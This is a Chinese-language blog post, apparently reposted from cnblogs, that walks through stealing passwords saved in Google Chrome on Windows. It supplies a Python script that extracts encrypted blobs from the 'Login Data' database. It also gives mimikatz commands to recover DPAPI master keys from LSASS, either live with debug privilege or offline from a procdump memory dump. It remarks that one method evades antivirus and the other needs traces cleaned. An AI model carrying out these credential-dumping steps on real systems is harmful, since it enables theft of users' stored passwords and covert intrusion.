谷歌浏览器保存密码的读取

前言:两种方式都可以实现,一种利用mimikatz dpapi,还有一种利用ChromePass工具,各有各的优点吧

第一种:利用mimikatz dpapi获取Master Key进行解密

首先要了解的概念:

DPAPI:
全称Data Protection Application Programming Interface

DPAPI blob:
一段密文,可使用Master Key对其解密

Master Key:
64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

Master Key file:
二进制文件,可使用用户登录密码对其解密,获得Master Key

实现方法:

1、使用python读取数据库文件Login Data并提取出密文

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))
    f = open('test.txt', 'wb')
    f.write(result[2])
    f.close()

2、拿到对应的获得对应guidMasterkey:
dpapi::blob /in:test.txt


即Master Key file的路径为%APPDATA%\Microsoft\Protect%SID%\e7ddf239-ec80-45f7-8892-1a0a90c7d77e

3、再读取lsass中存储的Master Key,有两种方式

第一种:在线直接在目标机器上进行读取:
mimikatz.exe privilege::debug "sekurlsa::dpapi" exit

第二种:离线读取,使用procdump dump出LSASS进程内存
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后再本地进行读取

sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

注:mimikatz从lsass进程提取出Master Key后,会自动将Master Key加入系统缓存

以上两种方式看情况进行,一种可以绕过杀毒,一种速度更快,但是需要清理痕迹,各有各的好处吧

4、使用masterkey解密

这里的Master Key为:94ecd8123fbf517a4585f077d172332f5b396f5de7c26bd82bf5951e4b979be24c2692f21048762442f10d4dd8b3daa28ea785846689d08d723bc3a9e86d8224

dpapi::blob /in test.txt

参考文章:
1、https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8Masterkey%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/
2、https://www.t00ls.net/viewthread.php?tid=52330&highlight=chrome

猜你喜欢

转载自www.cnblogs.com/zpchcbd/p/11942502.html